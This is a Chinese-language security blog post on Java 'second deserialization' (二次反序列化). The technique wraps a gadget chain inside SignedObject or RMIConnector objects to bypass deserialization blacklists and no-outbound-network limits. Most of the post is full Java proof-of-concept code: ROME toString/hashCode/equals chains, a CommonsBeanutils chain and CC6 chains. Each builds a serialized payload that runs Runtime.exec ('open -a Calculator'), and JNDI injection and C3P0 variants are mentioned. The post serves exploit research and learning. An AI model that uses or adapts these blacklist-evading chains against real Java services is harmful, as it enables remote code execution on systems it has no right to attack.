Java二次反序列化

Java反序列化调用链之Java二次反序列化

Java二次反序列化

二次反序列化,就是反序列化两次,它主要用于两个绕过:

  • 黑名单的限制

  • 不出网利用

测试环境:

  • JDK 8u71

SignedObject类

这个类位于java.security.SignedObject,这个类是用于创建真实运行时对象的类,简单来说,就是SignedObject包含另一个Serializable对象。

来看这个类的构造函数: image-20241018153657145

可以看到这里有序列化的过程,序列化的对象为object参数。

再跟进一下这个类的getObject方法: image-20241018153723748

可以看到反序列化的过程,并且这里的this.content就是前面的序列化字符串,所以其实是可控的。

所以我们可以构造一个恶意的SignedObject对象:

1
2
3
4
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象kp.getPrivate(),Signature.getInstance("DSA"));

然后就是想在哪里调用这个SignedObject对象的getObject()方法,也就是可以调用到getter方法,而对于调用getter方法,前面比较经典的学了的就是Rome链和CB链,下面我们就先来简单看看这两条链子的利用。

利用手段

rome链的利用

完美符合,三条链子都是获取getter方法来命令执行,正好可以得到前面的getObject()方法。下面来构造一下。

总的思路都是先传入一个构造好了的SignedObject类,然后在调用到他的getObject()方法时反序列化恶意对象。

toString链

原本的toString链的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import javax.management.BadAttributeValueExpException;

import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));
        TemplatesImpl impl = new TemplatesImpl();
        setFieldValue(impl,"_name","fupanc");
        setFieldValue(impl,"_bytecodes",new byte[][]{code});
        setFieldValue(impl, "_class", null);
        setFieldValue(impl, "_tfactory", new TransformerFactoryImpl());

        BadAttributeValueExpException haha = new BadAttributeValueExpException("fupanc");
        ObjectBean x1 = new ObjectBean(Templates.class,impl);

        setFieldValue(haha,"val",x1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(haha);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

现在就来简单改改。

还是用动态加载字节码来打,但这里就使用javassist来生成,具体的修改思路就是调用两次toString,从而可以调用到SignedObject类的getter方法,从而来进行一次完整的调用链,最后的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.Templates;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;

public class Main {
    public static void main(String[] args) throws Exception {
        //使用javassist定义恶意代码
        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = classPool.makeClass("Evil");
        String cmd= "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
        byte[] classBytes = cc.toBytecode();
        byte[][] code = new byte[][]{classBytes};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", code);
        setFieldValue(templates, "_name", "fupanc");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        ToStringBean bean = new ToStringBean(Templates.class,templates);

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        setFieldValue(bad,"val", bean);
        
        //定义SignedObejct类
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(bad,kp.getPrivate(), Signature.getInstance("DSA"));
        
        ToStringBean bean2 = new ToStringBean(SignedObject.class,signedObject);
        BadAttributeValueExpException bad2 = new BadAttributeValueExpException(null);
        setFieldValue(bad2,"val", bean2);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad2);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
        
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功弹出计算机。再简单跟一下流程,前面的链子为:BadAttributeValueExpException#readObject()==》ObjectBean#toString() ==》SignedObject#getObject() ==》BadAttributeValueExpException#readObject() ==》 ObjectBean#toString()

后面的就和基本的rome链差不多了,在这里后面拼接的是rome链,当然还可以拼接其他链子,比如CC6,POC为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;

import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));

        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        ToStringBean toString = new ToStringBean(SignedObject.class,signedObject);
        setFieldValue(bad,"val",toString);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(bad);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

这样就可以用来绕过反序列化对CC6的限制了。

没啥问题。

hashCode链

其实就是套一层而已,而且本身这条链子后半部分和toString链差不多,后面就只给POC了。

这里还是接的CC6了,POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;
import com.sun.syndication.feed.impl.ToStringBean;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import com.sun.syndication.feed.impl.EqualsBean;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import java.util.HashMap;
import java.util.Map;
import java.lang.Runtime;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};

        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};

        Transformer chain = new ChainedTransformer(fakeTransformer);
        Map haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));

        ToStringBean bean = new ToStringBean(SignedObject.class,signedObject);
        EqualsBean equals = new EqualsBean(String.class,"fupanc");
        HashMap hash2 = new HashMap();
        hash2.put(equals,"fupanc1");

        setFieldValue(equals,"_beanClass",ToStringBean.class);
        setFieldValue(equals,"_obj",bean);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash2);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

理解一下就行。

equals链

大差不差,这里还是接的CC6,注意理解这里的二次反序列化触发点,看一下代码就懂了,但是最好先自己尝试构造一下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package org.example;

import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.HashMap;
import com.sun.syndication.feed.impl.EqualsBean;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Map;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        HashMap haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));

        EqualsBean bean = new EqualsBean(String.class,"fupanc");
        Hashtable hash = new Hashtable();

        HashMap hashMap0 = new HashMap();
        hashMap0.put("zZ",bean);
        hashMap0.put("yy",signedObject);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("zZ",signedObject);
        hashMap1.put("yy",bean);

        hash.put(hashMap0,1);
        hash.put(hashMap1,1);

        setFieldValue(bean,"_beanClass",SignedObject.class);
        setFieldValue(bean,"_obj",signedObject);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hash);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

CB链的利用

CB链就是调用了getter方法,完美符合这里打SignedObject的二次反序列化,就是将CB链中的TemplatesImpl类实例改成SignedObject类实例即可,这里还是接一个CC6,poc如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.security.Signature;
import java.security.SignedObject;
import java.security.KeyPairGenerator;
import java.security.KeyPair;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Map;

import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        HashMap haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        SignedObject signedObject = new SignedObject(hashMap,kp.getPrivate(),Signature.getInstance("DSA"));

        BeanComparator compare = new BeanComparator();
        PriorityQueue queue= new PriorityQueue(2,compare);
        queue.add(1);
        queue.add(1);
        setFieldValue(compare,"property","object");
        setFieldValue(queue,"queue",new Object[]{signedObject,1});
        
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(queue);
        out.close();

        ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));
        input.readObject();
        input.close();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

——————

除了这里的rome链和CB链有调用getter,当然还有jackson和fastjson有调用getter的效果。

RMIConnector

这个类位于javax.management.remote.rmi.RMIConnector。存在二次反序列化的点是这个类中的findRMIServerJRMP(),为我们可以跟进一下这个方法:

image-20250326203652205

这里是自定义了一个base64ToByteArray()方法用于将base64字符串解码成一个字节数组,然后进行了处理,最后进行了一个反序列化操作。

可以找一找在哪里调用了这个方法,在同一个类中寻找,可以发现是在findRMIServer()方法调用: image-20250326204346007

要求解析完的path必须以/stub/来开头,看参数传递的话是从第6个开始进行传参,也就是会传递/stub/后面的字符串,再看一下字符串的来源,跟进一下这里的getURLPath()方法: image-20250326212051706

会返回这个类的变量,所以这里是需要实例化一个类的。再往前找这个findRMIServer()方法的调用情况:

image-20250326205110455

注意看参数传递的情况,然后可以看到这里需要rmiServer为null,这个好弄,在RMIConnector实例化的时候就可控,然后这里的connect()方法是public,可以直接调用,在这里我们可以先尝试一下正向调用,直接实例化RMIConnector来调用connect()方法,这里还是通过CC6来进行演示,也就是将这个CC6的链子序列化为base64数据。

基本的参数都说了,现在来看一下需要实例化的类。

先看一下RMIConnector类的构造方法:

image-20250326210306576

虽然为private,但是这里是定义了两个方法来进行实例化的:

image-20250326210344848

这里的env不好控制,直接传参为null使其为默认的就行了。实在不行还可以使用反射来修改。再看JMXServiceURL类的实例化,简单跟了一遍,重点就是如下:

image-20250326213520138

要求serviceURL必须以service:jmx:开头,然后最后结尾必须是://,也正如不满足的报错内容,可以知道这里的大概意思就是确保一个正常的协议,比如传参为service:jmx:rmi://,那么这里就是获取的协议为rmi,后面就是一些host的解析等等,这里就不多说了。

所以这里可以简单如下构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Map;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        HashMap haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();
        byte[] serializedBytes = bos.toByteArray();
        // 将字节数组进行 Base64 编码并输出
        String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
        System.out.println("Base64编码后的序列化数据:");
        System.out.println(base64Encoded);
        String base64_String=base64Encoded;

        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(url,"urlPath","/stub/"+base64_String);
        RMIConnector rmi = new RMIConnector(url,null);
        rmi.connect();

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

成弹出计算机,这里建议还是跟一下这里的流程。

最后这里是成功弹出计算机了的,现在就是需要想怎么来调用这个connect()方法,一个非常方便的方法就是利用transform()方法,参考到CC链中的链式执行命令,所以这里可以进行如下尝试,比如还是使用CC6来当例子,最后的POC如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.util.Map;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;

public class Main{
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformer = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"}),new ConstantTransformer(1)};
        Transformer chain = new ChainedTransformer(fakeTransformer);
        HashMap haha = new HashMap();
        Map lazy = LazyMap.decorate(haha,chain);
        TiedMapEntry outerMap = new TiedMapEntry(lazy,"fupanc");
        HashMap hashMap = new HashMap();
        hashMap.put(outerMap,"fupanc");
        haha.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x = ChainedTransformer.class.getDeclaredField("iTransformers");
        x.setAccessible(true);
        x.set(chain,chainpart);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);
        oos.close();
        byte[] serializedBytes = bos.toByteArray();
        // 将字节数组进行 Base64 编码并输出
        String base64Encoded = Base64.getEncoder().encodeToString(serializedBytes);
        System.out.println("Base64编码后的序列化数据:");
        System.out.println(base64Encoded);
        String base64_String=base64Encoded;

        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(url,"urlPath","/stub/"+base64_String);
        RMIConnector rmi = new RMIConnector(url,null);
        
        Transformer[] fakeTransformer1 = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] chainpart1 = new Transformer[]{new ConstantTransformer(rmi),new InvokerTransformer("connect",null,null)};//注意一下这里的无参数形参的代表
        Transformer chain1 = new ChainedTransformer(fakeTransformer1);
        HashMap haha1 = new HashMap();
        Map lazy1 = LazyMap.decorate(haha1,chain1);
        TiedMapEntry outerMap1 = new TiedMapEntry(lazy1,"fupanc");
        HashMap hashMap1 = new HashMap();
        hashMap1.put(outerMap1,"fupanc");
        haha1.remove("fupanc");//这里注意fupanc所属对象,使用lazy也行

        Field x1 = ChainedTransformer.class.getDeclaredField("iTransformers");
        x1.setAccessible(true);
        x1.set(chain1,chainpart1);

        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
        out.writeObject(hashMap1);
        out.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
        in.readObject();
        in.close();
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

————————

这里还要提到一个点,在findRMIServer()方法处,前面我们都是从findRMIServerJRMP()方法入手,这里也确实比较符合二次反序列化的例子,但是其实还有另外一个点可以利用: image-20250327114742424

这里就是要求以/jndi/来开头,可以跟进一下这里的findRMIServerJNDI()方法: image-20250327114848739

经典的(new InitialContext()).lookup(),这里可以进行jndi注入,具体就看jndi注入的笔记。

WrapperConnectionPoolDataSource

C3P0中的一个存在二次反序列化链子,主要还是需要结合可调用setter的链子来利用,通过对WrapperConnectionPoolDataSource类调用setUserOverridesAsString()方法从而一步一步调用到SerializableUtils类的deserializeFromByteArray()方法实现二次反序列化: image-20250427133625780

主要调用setter的链子存在于jackson和fastjson反序列化。

参考文章:

https://xz.aliyun.com/t/13900?time__1311=GqmxnD2D97itqGNDQieBKbwiKGOjb%3D13a4D#toc-1

MapMessage二次反序列化

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计